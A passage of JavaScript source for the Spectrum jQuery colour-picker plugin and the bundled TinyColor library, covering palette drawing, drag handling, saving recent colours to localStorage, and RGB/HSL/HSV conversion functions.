p.length; i++) { var current = p[i]; if(current) { var tiny = tinycolor(current); var c = tiny.toHsl().l < 0.5 ? "sp-thumb-el sp-thumb-dark" : "sp-thumb-el sp-thumb-light"; c += (tinycolor.equals(color, current)) ? " sp-thumb-active" : ""; var formattedString = tiny.toString(tooltipFormat || "rgb"); var swatchStyle = rgbaSupport ? ("background-color:" + tiny.toRgbString()) : "filter:" + tiny.toFilter(); html.push('<span title="' + formattedString + '" data-color="' + tiny.toRgbString() + '" class="' + c + '"><span class="sp-thumb-inner" style="' + swatchStyle + ';" /></span>'); } else { var cls = 'sp-clear-display'; html.push('<span title="No Color Selected" data-color="" style="background-color:transparent;" class="' + cls + '"></span>'); } } return "<div class='sp-cf " + className + "'>" + html.join('') + "</div>"; } function hideAll() { for (var i = 0; i < spectrums.length; i++) { if (spectrums[i]) { spectrums[i].hide(); } } } function instanceOptions(o, callbackContext) { var opts = $.extend({}, defaultOpts, o); opts.callbacks = { 'move': bind(opts.move, callbackContext), 'change': bind(opts.change, callbackContext), 'show': bind(opts.show, callbackContext), 'hide': bind(opts.hide, callbackContext), 'beforeShow': bind(opts.beforeShow, callbackContext) }; return opts; } function spectrum(element, o) { var opts = instanceOptions(o, element), flat = opts.flat, showSelectionPalette = opts.showSelectionPalette, localStorageKey = opts.localStorageKey, theme = opts.theme, callbacks = opts.callbacks, resize = throttle(reflow, 10), visible = false, dragWidth = 0, dragHeight = 0, dragHelperHeight = 0, slideHeight = 0, slideWidth = 0, alphaWidth = 0, alphaSlideHelperWidth = 0, slideHelperHeight = 0, currentHue = 0, currentSaturation = 0, currentValue = 0, currentAlpha = 1, palette = [], paletteArray = [], paletteLookup = {}, selectionPalette = opts.selectionPalette.slice(0), maxSelectionSize = opts.maxSelectionSize, draggingClass = "sp-dragging", inputText = opts.inputText, shiftMovementDirection = null; var doc = element.ownerDocument, body = doc.body, boundElement = $(element), disabled = false, container = $(markup, doc).addClass(theme), dragger = container.find(".sp-color"), dragHelper = container.find(".sp-dragger"), slider = container.find(".sp-hue"), slideHelper = container.find(".sp-slider"), alphaSliderInner = container.find(".sp-alpha-inner"), alphaSlider = container.find(".sp-alpha"), alphaSlideHelper = container.find(".sp-alpha-handle"), textInput = container.find(".sp-input"), paletteContainer = container.find(".sp-palette"), initialColorContainer = container.find(".sp-initial"), cancelButton = container.find(".sp-cancel"), clearButton = container.find(".sp-clear"), chooseButton = container.find(".sp-choose"), isInput = boundElement.is("input"), isInputTypeColor = isInput && inputTypeColorSupport && boundElement.attr("type") === "color", shouldReplace = isInput && !flat, replacer = (shouldReplace) ? $(replaceInput).addClass(theme).addClass(opts.className).addClass(opts.replacerClassName) : $([]), offsetElement = (shouldReplace) ? replacer : boundElement, previewElement = replacer.find(".sp-preview-inner"), initialColor = opts.color || (isInput && boundElement.val()), colorOnShow = false, preferredFormat = opts.preferredFormat, currentPreferredFormat = preferredFormat, clickoutFiresChange = !opts.showButtons || opts.clickoutFiresChange, isEmpty = !initialColor, allowEmpty = opts.allowEmpty && !isInputTypeColor; if (inputText !== '') { var x = $(offsetElement).find('div.sp-dd'); x.text(inputText); } function applyOptions() { if (opts.showPaletteOnly) { opts.showPalette = true; } if (opts.palette) { palette = opts.palette.slice(0); paletteArray = $.isArray(palette[0]) ? palette : [palette]; paletteLookup = {}; for (var i = 0; i < paletteArray.length; i++) { for (var j = 0; j < paletteArray[i].length; j++) { var rgb = tinycolor(paletteArray[i][j]).toRgbString(); paletteLookup[rgb] = true; } } } container.toggleClass("sp-flat", flat); container.toggleClass("sp-input-disabled", !opts.showInput); container.toggleClass("sp-alpha-enabled", opts.showAlpha); container.toggleClass("sp-clear-enabled", allowEmpty); container.toggleClass("sp-buttons-disabled", !opts.showButtons); container.toggleClass("sp-palette-disabled", !opts.showPalette); container.toggleClass("sp-palette-only", opts.showPaletteOnly); container.toggleClass("sp-initial-disabled", !opts.showInitial); container.addClass(opts.className).addClass(opts.containerClassName); reflow(); } function initialize() { if (IE) { container.find("*:not(input)").attr("unselectable", "on"); } applyOptions(); if (shouldReplace) { boundElement.after(replacer).hide(); } if (!allowEmpty) { clearButton.hide(); } if (flat) { boundElement.after(container).hide(); } else { var appendTo = opts.appendTo === "parent" ? boundElement.parent() : $(opts.appendTo); if (appendTo.length !== 1) { appendTo = $("body"); } appendTo.append(container); } updateSelectionPaletteFromStorage(); offsetElement.bind("click.spectrum touchstart.spectrum", function (e) { if (!disabled) { toggle(); } e.stopPropagation(); if (!$(e.target).is("input")) { e.preventDefault(); } }); if(boundElement.is(":disabled") || (opts.disabled === true)) { disable(); } // Prevent clicks from bubbling up to document. This would cause it to be hidden. container.click(stopPropagation); // Handle user typed input textInput.change(setFromTextInput); textInput.bind("paste", function () { setTimeout(setFromTextInput, 1); }); textInput.keydown(function (e) { if (e.keyCode == 13) { setFromTextInput(); } }); cancelButton.text(opts.cancelText); cancelButton.bind("click.spectrum", function (e) { e.stopPropagation(); e.preventDefault(); hide("cancel"); }); clearButton.attr("title", opts.clearText); clearButton.bind("click.spectrum", function (e) { e.stopPropagation(); e.preventDefault(); isEmpty = true; move(); if(flat) { //for the flat style, this is a change event updateOriginalInput(true); } }); chooseButton.text(opts.chooseText); chooseButton.bind("click.spectrum", function (e) { e.stopPropagation(); e.preventDefault(); if (isValid()) { updateOriginalInput(true); hide(); } }); draggable(alphaSlider, function (dragX, dragY, e) { currentAlpha = (dragX / alphaWidth); isEmpty = false; if (e.shiftKey) { currentAlpha = Math.round(currentAlpha * 10) / 10; } move(); }, dragStart, dragStop); draggable(slider, function (dragX, dragY) { currentHue = parseFloat(dragY / slideHeight); isEmpty = false; if (!opts.showAlpha) { currentAlpha = 1; } move(); }, dragStart, dragStop); draggable(dragger, function (dragX, dragY, e) { // shift+drag should snap the movement to either the x or y axis. if (!e.shiftKey) { shiftMovementDirection = null; } else if (!shiftMovementDirection) { var oldDragX = currentSaturation * dragWidth; var oldDragY = dragHeight - (currentValue * dragHeight); var furtherFromX = Math.abs(dragX - oldDragX) > Math.abs(dragY - oldDragY); shiftMovementDirection = furtherFromX ? "x" : "y"; } var setSaturation = !shiftMovementDirection || shiftMovementDirection === "x"; var setValue = !shiftMovementDirection || shiftMovementDirection === "y"; if (setSaturation) { currentSaturation = parseFloat(dragX / dragWidth); } if (setValue) { currentValue = parseFloat((dragHeight - dragY) / dragHeight); } isEmpty = false; if (!opts.showAlpha) { currentAlpha = 1; } move(); }, dragStart, dragStop); if (!!initialColor) { set(initialColor); // In case color was black - update the preview UI and set the format // since the set function will not run (default color is black). updateUI(); currentPreferredFormat = preferredFormat || tinycolor(initialColor).format; addColorToSelectionPalette(initialColor); } else { updateUI(); } if (flat) { show(); } function palletElementClick(e) { if (e.data && e.data.ignore) { set($(this).data("color")); move(); } else { set($(this).data("color")); move(); updateOriginalInput(true); hide(); } return false; } var paletteEvent = IE ? "mousedown.spectrum" : "click.spectrum touchstart.spectrum"; paletteContainer.delegate(".sp-thumb-el", paletteEvent, palletElementClick); initialColorContainer.delegate(".sp-thumb-el:nth-child(1)", paletteEvent, { ignore: true }, palletElementClick); } function updateSelectionPaletteFromStorage() { if (localStorageKey && window.localStorage) { // Migrate old palettes over to new format. May want to remove this eventually. try { var oldPalette = window.localStorage[localStorageKey].split(",#"); if (oldPalette.length > 1) { delete window.localStorage[localStorageKey]; $.each(oldPalette, function(i, c) { addColorToSelectionPalette(c); }); } } catch(e) { } try { selectionPalette = window.localStorage[localStorageKey].split(";"); } catch (e) { } } } function addColorToSelectionPalette(color) { if (showSelectionPalette) { var rgb = tinycolor(color).toRgbString(); if (!paletteLookup[rgb] && $.inArray(rgb, selectionPalette) === -1) { selectionPalette.push(rgb); while(selectionPalette.length > maxSelectionSize) { selectionPalette.shift(); } } if (localStorageKey && window.localStorage) { try { window.localStorage[localStorageKey] = selectionPalette.join(";"); } catch(e) { } } } } function getUniqueSelectionPalette() { var unique = []; if (opts.showPalette) { for (i = 0; i < selectionPalette.length; i++) { var rgb = tinycolor(selectionPalette[i]).toRgbString(); if (!paletteLookup[rgb]) { unique.push(selectionPalette[i]); } } } return unique.reverse().slice(0, opts.maxSelectionSize); } function drawPalette() { var currentColor = get(); var html = $.map(paletteArray, function (palette, i) { return paletteTemplate(palette, currentColor, "sp-palette-row sp-palette-row-" + i, opts.preferredFormat); }); updateSelectionPaletteFromStorage(); if (selectionPalette) { html.push(paletteTemplate(getUniqueSelectionPalette(), currentColor, "sp-palette-row sp-palette-row-selection", opts.preferredFormat)); } paletteContainer.html(html.join("")); } function drawInitial() { if (opts.showInitial) { var initial = colorOnShow; var current = get(); initialColorContainer.html(paletteTemplate([initial, current], current, "sp-palette-row-initial", opts.preferredFormat)); } } function dragStart() { if (dragHeight <= 0 || dragWidth <= 0 || slideHeight <= 0) { reflow(); } container.addClass(draggingClass); shiftMovementDirection = null; boundElement.trigger('dragstart.spectrum', [ get() ]); } function dragStop() { container.removeClass(draggingClass); boundElement.trigger('dragstop.spectrum', [ get() ]); } function setFromTextInput() { var value = textInput.val(); if ((value === null || value === "") && allowEmpty) { set(null); updateOriginalInput(true); } else { var tiny = tinycolor(value); if (tiny.ok) { set(tiny); updateOriginalInput(true); } else { textInput.addClass("sp-validation-error"); } } } function toggle() { if (visible) { hide(); } else { show(); } } function show() { var event = $.Event('beforeShow.spectrum'); if (visible) { reflow(); return; } boundElement.trigger(event, [ get() ]); if (callbacks.beforeShow(get()) === false || event.isDefaultPrevented()) { return; } hideAll(); visible = true; $(doc).bind("click.spectrum", hide); $(window).bind("resize.spectrum", resize); replacer.addClass("sp-active"); container.removeClass("sp-hidden"); reflow(); updateUI(); colorOnShow = get(); drawInitial(); callbacks.show(colorOnShow); boundElement.trigger('show.spectrum', [ colorOnShow ]); } function hide(e) { // Return on right click if (e && e.type == "click" && e.button == 2) { return; } // Return if hiding is unnecessary if (!visible || flat) { return; } visible = false; $(doc).unbind("click.spectrum", hide); $(window).unbind("resize.spectrum", resize); replacer.removeClass("sp-active"); container.addClass("sp-hidden"); var colorHasChanged = !tinycolor.equals(get(), colorOnShow); if (colorHasChanged) { if (clickoutFiresChange && e !== "cancel") { updateOriginalInput(true); } else { revert(); } } callbacks.hide(get()); boundElement.trigger('hide.spectrum', [ get() ]); } function revert() { set(colorOnShow, true); } function set(color, ignoreFormatChange) { if (tinycolor.equals(color, get())) { // Update UI just in case a validation error needs // to be cleared. updateUI(); return; } var newColor, newHsv; if (!color && allowEmpty) { isEmpty = true; } else { isEmpty = false; newColor = tinycolor(color); newHsv = newColor.toHsv(); currentHue = (newHsv.h % 360) / 360; currentSaturation = newHsv.s; currentValue = newHsv.v; currentAlpha = newHsv.a; } updateUI(); if (newColor && newColor.ok && !ignoreFormatChange) { currentPreferredFormat = preferredFormat || newColor.format; } } function get(opts) { opts = opts || { }; if (allowEmpty && isEmpty) { return null; } return tinycolor.fromRatio({ h: currentHue, s: currentSaturation, v: currentValue, a: Math.round(currentAlpha * 100) / 100 }, { format: opts.format || currentPreferredFormat }); } function isValid() { return !textInput.hasClass("sp-validation-error"); } function move() { updateUI(); callbacks.move(get()); boundElement.trigger('move.spectrum', [ get() ]); } function updateUI() { textInput.removeClass("sp-validation-error"); updateHelperLocations(); // Update dragger background color (gradients take care of saturation and value). var flatColor = tinycolor.fromRatio({ h: currentHue, s: 1, v: 1 }); dragger.css("background-color", flatColor.toHexString()); // Get a format that alpha will be included in (hex and names ignore alpha) var format = currentPreferredFormat; if (currentAlpha < 1 && !(currentAlpha === 0 && format === "name")) { if (format === "hex" || format === "hex3" || format === "hex6" || format === "name") { format = "rgb"; } } var realColor = get({ format: format }), displayColor = ''; //reset background info for preview element previewElement.removeClass("sp-clear-display"); previewElement.css('background-color', 'transparent'); if (!realColor && allowEmpty) { // Update the replaced elements background with icon indicating no color selection previewElement.addClass("sp-clear-display"); } else { var realHex = realColor.toHexString(), realRgb = realColor.toRgbString(); // Update the replaced elements background color (with actual selected color) if (rgbaSupport || realColor.alpha === 1) { previewElement.css("background-color", realRgb); } else { previewElement.css("background-color", "transparent"); previewElement.css("filter", realColor.toFilter()); } if (opts.showAlpha) { var rgb = realColor.toRgb(); rgb.a = 0; var realAlpha = tinycolor(rgb).toRgbString(); var gradient = "linear-gradient(left, " + realAlpha + ", " + realHex + ")"; if (IE) { alphaSliderInner.css("filter", tinycolor(realAlpha).toFilter({ gradientType: 1 }, realHex)); } else { alphaSliderInner.css("background", "-webkit-" + gradient); alphaSliderInner.css("background", "-moz-" + gradient); alphaSliderInner.css("background", "-ms-" + gradient); // Use current syntax gradient on unprefixed property. alphaSliderInner.css("background", "linear-gradient(to right, " + realAlpha + ", " + realHex + ")"); } } displayColor = realColor.toString(format); } // Update the text entry input as it changes happen if (opts.showInput) { textInput.val(displayColor); } if (opts.showPalette) { drawPalette(); } drawInitial(); } function updateHelperLocations() { var s = currentSaturation; var v = currentValue; if(allowEmpty && isEmpty) { //if selected color is empty, hide the helpers alphaSlideHelper.hide(); slideHelper.hide(); dragHelper.hide(); } else { //make sure helpers are visible alphaSlideHelper.show(); slideHelper.show(); dragHelper.show(); // Where to show the little circle in that displays your current selected color var dragX = s * dragWidth; var dragY = dragHeight - (v * dragHeight); dragX = Math.max( -dragHelperHeight, Math.min(dragWidth - dragHelperHeight, dragX - dragHelperHeight) ); dragY = Math.max( -dragHelperHeight, Math.min(dragHeight - dragHelperHeight, dragY - dragHelperHeight) ); dragHelper.css({ "top": dragY + "px", "left": dragX + "px" }); var alphaX = currentAlpha * alphaWidth; alphaSlideHelper.css({ "left": (alphaX - (alphaSlideHelperWidth / 2)) + "px" }); // Where to show the bar that displays your current selected hue var slideY = (currentHue) * slideHeight; slideHelper.css({ "top": (slideY - slideHelperHeight) + "px" }); } } function updateOriginalInput(fireCallback) { var color = get(), displayColor = '', hasChanged = !tinycolor.equals(color, colorOnShow); if (color) { displayColor = color.toString(currentPreferredFormat); // Update the selection palette with the current color addColorToSelectionPalette(color); } if (isInput) { boundElement.val(displayColor); } colorOnShow = color; if (fireCallback && hasChanged) { callbacks.change(color); boundElement.trigger('change', [ color ]); } } function reflow() { dragWidth = dragger.width(); dragHeight = dragger.height(); dragHelperHeight = dragHelper.height(); slideWidth = slider.width(); slideHeight = slider.height(); slideHelperHeight = slideHelper.height(); alphaWidth = alphaSlider.width(); alphaSlideHelperWidth = alphaSlideHelper.width(); if (!flat) { container.css("position", "absolute"); container.offset(getOffset(container, offsetElement)); } updateHelperLocations(); if (opts.showPalette) { drawPalette(); } boundElement.trigger('reflow.spectrum'); } function destroy() { boundElement.show(); offsetElement.unbind("click.spectrum touchstart.spectrum"); container.remove(); replacer.remove(); spectrums[spect.id] = null; } function option(optionName, optionValue) { if (optionName === undefined) { return $.extend({}, opts); } if (optionValue === undefined) { return opts[optionName]; } opts[optionName] = optionValue; applyOptions(); } function enable() { disabled = false; boundElement.attr("disabled", false); offsetElement.removeClass("sp-disabled"); } function disable() { hide(); disabled = true; boundElement.attr("disabled", true); offsetElement.addClass("sp-disabled"); } initialize(); var spect = { show: show, hide: hide, toggle: toggle, reflow: reflow, option: option, enable: enable, disable: disable, set: function (c) { set(c); updateOriginalInput(); }, get: get, destroy: destroy, container: container }; spect.id = spectrums.push(spect) - 1; return spect; } /** * checkOffset - get the offset below/above and left/right element depending on screen position * Thanks https://github.com/jquery/jquery-ui/blob/master/ui/jquery.ui.datepicker.js */ function getOffset(picker, input) { var extraY = 0; var dpWidth = picker.outerWidth(); var dpHeight = picker.outerHeight(); var inputHeight = input.outerHeight(); var doc = picker[0].ownerDocument; var docElem = doc.documentElement; var viewWidth = docElem.clientWidth + $(doc).scrollLeft(); var viewHeight = docElem.clientHeight + $(doc).scrollTop(); var offset = input.offset(); offset.top += inputHeight; offset.left -= Math.min(offset.left, (offset.left + dpWidth > viewWidth && viewWidth > dpWidth) ? Math.abs(offset.left + dpWidth - viewWidth) : 0); offset.top -= Math.min(offset.top, ((offset.top + dpHeight > viewHeight && viewHeight > dpHeight) ? Math.abs(dpHeight + inputHeight - extraY) : extraY)); return offset; } /** * noop - do nothing */ function noop() { } /** * stopPropagation - makes the code only doing this a little easier to read in line */ function stopPropagation(e) { e.stopPropagation(); } /** * Create a function bound to a given object * Thanks to underscore.js */ function bind(func, obj) { var slice = Array.prototype.slice; var args = slice.call(arguments, 2); return function () { return func.apply(obj, args.concat(slice.call(arguments))); }; } /** * Lightweight drag helper. Handles containment within the element, so that * when dragging, the x is within [0,element.width] and y is within [0,element.height] */ function draggable(element, onmove, onstart, onstop) { onmove = onmove || function () { }; onstart = onstart || function () { }; onstop = onstop || function () { }; var doc = element.ownerDocument || document; var dragging = false; var offset = {}; var maxHeight = 0; var maxWidth = 0; var hasTouch = ('ontouchstart' in window); var duringDragEvents = {}; duringDragEvents["selectstart"] = prevent; duringDragEvents["dragstart"] = prevent; duringDragEvents["touchmove mousemove"] = move; duringDragEvents["touchend mouseup"] = stop; function prevent(e) { if (e.stopPropagation) { e.stopPropagation(); } if (e.preventDefault) { e.preventDefault(); } e.returnValue = false; } function move(e) { if (dragging) { // Mouseup happened outside of window if (IE && document.documentMode < 9 && !e.button) { return stop(); } var touches = e.originalEvent.touches; var pageX = touches ? touches[0].pageX : e.pageX; var pageY = touches ? touches[0].pageY : e.pageY; var dragX = Math.max(0, Math.min(pageX - offset.left, maxWidth)); var dragY = Math.max(0, Math.min(pageY - offset.top, maxHeight)); if (hasTouch) { // Stop scrolling in iOS prevent(e); } onmove.apply(element, [dragX, dragY, e]); } } function start(e) { var rightclick = (e.which) ? (e.which == 3) : (e.button == 2); var touches = e.originalEvent.touches; if (!rightclick && !dragging) { if (onstart.apply(element, arguments) !== false) { dragging = true; maxHeight = $(element).height(); maxWidth = $(element).width(); offset = $(element).offset(); $(doc).bind(duringDragEvents); $(doc.body).addClass("sp-dragging"); if (!hasTouch) { move(e); } prevent(e); } } } function stop() { if (dragging) { $(doc).unbind(duringDragEvents); $(doc.body).removeClass("sp-dragging"); onstop.apply(element, arguments); } dragging = false; } $(element).bind("touchstart mousedown", start); } function throttle(func, wait, debounce) { var timeout; return function () { var context = this, args = arguments; var throttler = function () { timeout = null; func.apply(context, args); }; if (debounce) clearTimeout(timeout); if (debounce || !timeout) timeout = setTimeout(throttler, wait); }; } function log(){/* jshint -W021 */if(window.console){if(Function.prototype.bind)log=Function.prototype.bind.call(console.log,console);else log=function(){Function.prototype.apply.call(console.log,console,arguments);};log.apply(this,arguments);}} /** * Define a jQuery plugin */ var dataID = "spectrum.id"; $.fn.spectrum = function (opts, extra) { if (typeof opts == "string") { var returnValue = this; var args = Array.prototype.slice.call( arguments, 1 ); this.each(function () { var spect = spectrums[$(this).data(dataID)]; if (spect) { var method = spect[opts]; if (!method) { throw new Error( "Spectrum: no such method: '" + opts + "'" ); } if (opts == "get") { returnValue = spect.get(); } else if (opts == "container") { returnValue = spect.container; } else if (opts == "option") { returnValue = spect.option.apply(spect, args); } else if (opts == "destroy") { spect.destroy(); $(this).removeData(dataID); } else { method.apply(spect, args); } } }); return returnValue; } // Initializing a new instance of spectrum return this.spectrum("destroy").each(function () { var options = $.extend({}, opts, $(this).data()); var spect = spectrum(this, options); $(this).data(dataID, spect.id); }); }; $.fn.spectrum.load = true; $.fn.spectrum.loadOpts = {}; $.fn.spectrum.draggable = draggable; $.fn.spectrum.defaults = defaultOpts; $.spectrum = { }; $.spectrum.localization = { }; $.spectrum.palettes = { }; $.fn.spectrum.processNativeColorInputs = function () { if (!inputTypeColorSupport) { $("input[type=color]").spectrum({ preferredFormat: "hex6" }); } }; // TinyColor v0.9.17 // https://github.com/bgrins/TinyColor // 2013-08-10, Brian Grinstead, MIT License (function() { var trimLeft = /^[\s,#]+/, trimRight = /\s+$/, tinyCounter = 0, math = Math, mathRound = math.round, mathMin = math.min, mathMax = math.max, mathRandom = math.random; function tinycolor (color, opts) { color = (color) ? color : ''; opts = opts || { }; // If input is already a tinycolor, return itself if (typeof color == "object" && color.hasOwnProperty("_tc_id")) { return color; } var rgb = inputToRGB(color); var r = rgb.r, g = rgb.g, b = rgb.b, a = rgb.a, roundA = mathRound(100*a) / 100, format = opts.format || rgb.format; // Don't let the range of [0,255] come back in [0,1]. // Potentially lose a little bit of precision here, but will fix issues where // .5 gets interpreted as half of the total, instead of half of 1 // If it was supposed to be 128, this was already taken care of by `inputToRgb` if (r < 1) { r = mathRound(r); } if (g < 1) { g = mathRound(g); } if (b < 1) { b = mathRound(b); } return { ok: rgb.ok, format: format, _tc_id: tinyCounter++, alpha: a, getAlpha: function() { return a; }, setAlpha: function(value) { a = boundAlpha(value); roundA = mathRound(100*a) / 100; }, toHsv: function() { var hsv = rgbToHsv(r, g, b); return { h: hsv.h * 360, s: hsv.s, v: hsv.v, a: a }; }, toHsvString: function() { var hsv = rgbToHsv(r, g, b); var h = mathRound(hsv.h * 360), s = mathRound(hsv.s * 100), v = mathRound(hsv.v * 100); return (a == 1) ? "hsv(" + h + ", " + s + "%, " + v + "%)" : "hsva(" + h + ", " + s + "%, " + v + "%, "+ roundA + ")"; }, toHsl: function() { var hsl = rgbToHsl(r, g, b); return { h: hsl.h * 360, s: hsl.s, l: hsl.l, a: a }; }, toHslString: function() { var hsl = rgbToHsl(r, g, b); var h = mathRound(hsl.h * 360), s = mathRound(hsl.s * 100), l = mathRound(hsl.l * 100); return (a == 1) ? "hsl(" + h + ", " + s + "%, " + l + "%)" : "hsla(" + h + ", " + s + "%, " + l + "%, "+ roundA + ")"; }, toHex: function(allow3Char) { return rgbToHex(r, g, b, allow3Char); }, toHexString: function(allow3Char) { return '#' + this.toHex(allow3Char); }, toHex8: function() { return rgbaToHex(r, g, b, a); }, toHex8String: function() { return '#' + this.toHex8(); }, toRgb: function() { return { r: mathRound(r), g: mathRound(g), b: mathRound(b), a: a }; }, toRgbString: function() { return (a == 1) ? "rgb(" + mathRound(r) + ", " + mathRound(g) + ", " + mathRound(b) + ")" : "rgba(" + mathRound(r) + ", " + mathRound(g) + ", " + mathRound(b) + ", " + roundA + ")"; }, toPercentageRgb: function() { return { r: mathRound(bound01(r, 255) * 100) + "%", g: mathRound(bound01(g, 255) * 100) + "%", b: mathRound(bound01(b, 255) * 100) + "%", a: a }; }, toPercentageRgbString: function() { return (a == 1) ? "rgb(" + mathRound(bound01(r, 255) * 100) + "%, " + mathRound(bound01(g, 255) * 100) + "%, " + mathRound(bound01(b, 255) * 100) + "%)" : "rgba(" + mathRound(bound01(r, 255) * 100) + "%, " + mathRound(bound01(g, 255) * 100) + "%, " + mathRound(bound01(b, 255) * 100) + "%, " + roundA + ")"; }, toName: function() { if (a === 0) { return "transparent"; } return hexNames[rgbToHex(r, g, b, true)] || false; }, toFilter: function(secondColor) { var hex8String = '#' + rgbaToHex(r, g, b, a); var secondHex8String = hex8String; var gradientType = opts && opts.gradientType ? "GradientType = 1, " : ""; if (secondColor) { var s = tinycolor(secondColor); secondHex8String = s.toHex8String(); } return "progid:DXImageTransform.Microsoft.gradient("+gradientType+"startColorstr="+hex8String+",endColorstr="+secondHex8String+")"; }, toString: function(format) { var formatSet = !!format; format = format || this.format; var formattedString = false; var hasAlphaAndFormatNotSet = !formatSet && a < 1 && a > 0; var formatWithAlpha = hasAlphaAndFormatNotSet && (format === "hex" || format === "hex6" || format === "hex3" || format === "name"); if (format === "rgb") { formattedString = this.toRgbString(); } if (format === "prgb") { formattedString = this.toPercentageRgbString(); } if (format === "hex" || format === "hex6") { formattedString = this.toHexString(); } if (format === "hex3") { formattedString = this.toHexString(true); } if (format === "hex8") { formattedString = this.toHex8String(); } if (format === "name") { formattedString = this.toName(); } if (format === "hsl") { formattedString = this.toHslString(); } if (format === "hsv") { formattedString = this.toHsvString(); } if (formatWithAlpha) { return this.toRgbString(); } return formattedString || this.toHexString(); } }; } // If input is an object, force 1 into "1.0" to handle ratios properly // String input requires "1.0" as input, so 1 will be treated as 1 tinycolor.fromRatio = function(color, opts) { if (typeof color == "object") { var newColor = {}; for (var i in color) { if (color.hasOwnProperty(i)) { if (i === "a") { newColor[i] = color[i]; } else { newColor[i] = convertToPercentage(color[i]); } } } color = newColor; } return tinycolor(color, opts); }; // Given a string or object, convert that input to RGB // Possible string inputs: // // "red" // "#f00" or "f00" // "#ff0000" or "ff0000" // "#ff000000" or "ff000000" // "rgb 255 0 0" or "rgb (255, 0, 0)" // "rgb 1.0 0 0" or "rgb (1, 0, 0)" // "rgba (255, 0, 0, 1)" or "rgba 255, 0, 0, 1" // "rgba (1.0, 0, 0, 1)" or "rgba 1.0, 0, 0, 1" // "hsl(0, 100%, 50%)" or "hsl 0 100% 50%" // "hsla(0, 100%, 50%, 1)" or "hsla 0 100% 50%, 1" // "hsv(0, 100%, 100%)" or "hsv 0 100% 100%" // function inputToRGB(color) { var rgb = { r: 0, g: 0, b: 0 }; var a = 1; var ok = false; var format = false; if (typeof color == "string") { color = stringInputToObject(color); } if (typeof color == "object") { if (color.hasOwnProperty("r") && color.hasOwnProperty("g") && color.hasOwnProperty("b")) { rgb = rgbToRgb(color.r, color.g, color.b); ok = true; format = String(color.r).substr(-1) === "%" ? "prgb" : "rgb"; } else if (color.hasOwnProperty("h") && color.hasOwnProperty("s") && color.hasOwnProperty("v")) { color.s = convertToPercentage(color.s); color.v = convertToPercentage(color.v); rgb = hsvToRgb(color.h, color.s, color.v); ok = true; format = "hsv"; } else if (color.hasOwnProperty("h") && color.hasOwnProperty("s") && color.hasOwnProperty("l")) { color.s = convertToPercentage(color.s); color.l = convertToPercentage(color.l); rgb = hslToRgb(color.h, color.s, color.l); ok = true; format = "hsl"; } if (color.hasOwnProperty("a")) { a = color.a; } } a = boundAlpha(a); return { ok: ok, format: color.format || format, r: mathMin(255, mathMax(rgb.r, 0)), g: mathMin(255, mathMax(rgb.g, 0)), b: mathMin(255, mathMax(rgb.b, 0)), a: a }; } // Conversion Functions // -------------------- // `rgbToHsl`, `rgbToHsv`, `hslToRgb`, `hsvToRgb` modified from: // <http://mjijackson.com/2008/02/rgb-to-hsl-and-rgb-to-hsv-color-model-conversion-algorithms-in-javascript> // `rgbToRgb` // Handle bounds / percentage checking to conform to CSS color spec // <http://www.w3.org/TR/css3-color/> // *Assumes:* r, g, b in [0, 255] or [0, 1] // *Returns:* { r, g, b } in [0, 255] function rgbToRgb(r, g, b){ return { r: bound01(r, 255) * 255, g: bound01(g, 255) * 255, b: bound01(b, 255) * 255 }; } // `rgbToHsl` // Converts an RGB color value to HSL. // *Assumes:* r, g, and b are contained in [0, 255] or [0, 1] // *Returns:* { h, s, l } in [0,1] function rgbToHsl(r, g, b) { r = bound01(r, 255); g = bound01(g, 255); b = bound01(b, 255); var max = mathMax(r, g, b), min = mathMin(r, g, b); var h, s, l = (max + min) / 2; if(max == min) { h = s = 0; // achromatic } else { var d = max - min; s = l > 0.5 ? d / (2 - max - min) : d / (max + min); switch(max) { case r: h = (g - b) / d + (g < b ? 6 : 0); break; case g: h = (b - r) / d + 2; break; case b: h = (r - g) / d + 4; break; } h /= 6; } return { h: h, s: s, l: l }; } // `hslToRgb` // Converts an HSL color value to RGB. // *Assumes:* h is contained in [0, 1] or [0, 360] and s and l are contained [0, 1] or [0, 100] // *Returns:* { r, g, b } in the set [0, 255] function hslToRgb(h, s, l) { var r, g, b; h = bound01(h, 360); s = bound01(s, 100); l = bound01(l, 100); function hue2rgb(p, q, t) { if(t < 0) t += 1; if(t > 1) t -= 1; if(t < 1/6) return p + (q - p) * 6 * t; if(t < 1/2) return q; if(t < 2/3) return p + (q - p) * (2/3 - t) * 6; return p; } if(s === 0) { r = g = b = l; // achromatic } else { var q = l < 0.5 ? l * (1 + s) : l + s - l * s; var p = 2 * l - q; r = hue2rgb(p, q, h + 1/3); g = hue2rgb(p, q, h); b = hue2rgb(p, q, h - 1/3); } return { r: r * 255, g: g * 255, b: b * 255 }; } // `rgbToHsv` // Converts an RGB color value to HSV // *Assumes:* r, g, and b are contained in the set [0, 255] or [0, 1] // *Returns:* { h, s, v } in [0,1] function rgbToHsv(r, g, b) { r = bound01(r, 255); g = bound01(g, 255); b = bound01(b, 255); var max = mathMax(r, g, b), min = mathMin(r, g, b); var h, s, v = max; var d = max - min; s = max === 0 ? 0 : d / max; if(max == min) { h = 0; // achromatic } else { switch(max) { case r: h = (g - b) / d + (g < b ? 6 : 0); break; case g: h = (b - r) / d + 2; break; case b: h = (r - g) / d + 4; break; } h /= 6; } return { h: h, s: s, v: v }; } // `hsvToRgb` // Converts an HSV color value to RGB. // *Assumes:* h is contained in [0, 1] or [0, 360] and s and v are contained in [0, 1] or [0, 100] // *Returns:* { r, g, b } in the set [0, 255] function hsvToRgb(h, s, v) { h = bound01(h, 360) * 6; s = bound01(s, 100); v = bound01(v, 100); var i = math.floor(h), f = h - i, p = v * (1 - s), q = v * (1 - f * s), t = v * (1 - (1 - f) * s), mod = i % 6, r = [v, q, p, p, t, v][mod], g = [t, v, v, q, p, p][mod], b = [p, p, t, v, v, q][mod]; return { r: r * 255, g: g * 255, b: b * 255 }; } // `rgbToHex` // Converts an RGB color to hex // Assumes r, g, and b are contained in the set [0, 255] // Returns a 3 or 6 character hex function rgbToHex(r, g, b, allow3Char) { var hex = [ pad2(mathRound(r).toString(16)), pad2(mathRound(g).toString(16)), pad2(mathRound(b).toString(16)) ]; // Return a 3 character hex if possible if (allow3Char && hex[0].charAt(0) == hex[0].charAt(1) && hex[1].charAt(0) == hex[1].charAt(1) && hex[2].charAt(0) == hex[2].charAt(1)) { return hex[0].charAt(0) + hex[1].charAt(0) + hex[2].charAt(0); } return hex.join(""); } // `rgbaToHex` // Converts an RGBA color plus alpha transparency to hex // Assumes r, g, b and a are contained in the set [0, 255] // Returns an 8 character hex function rgbaToHex(r, g, b, a) { var hex = 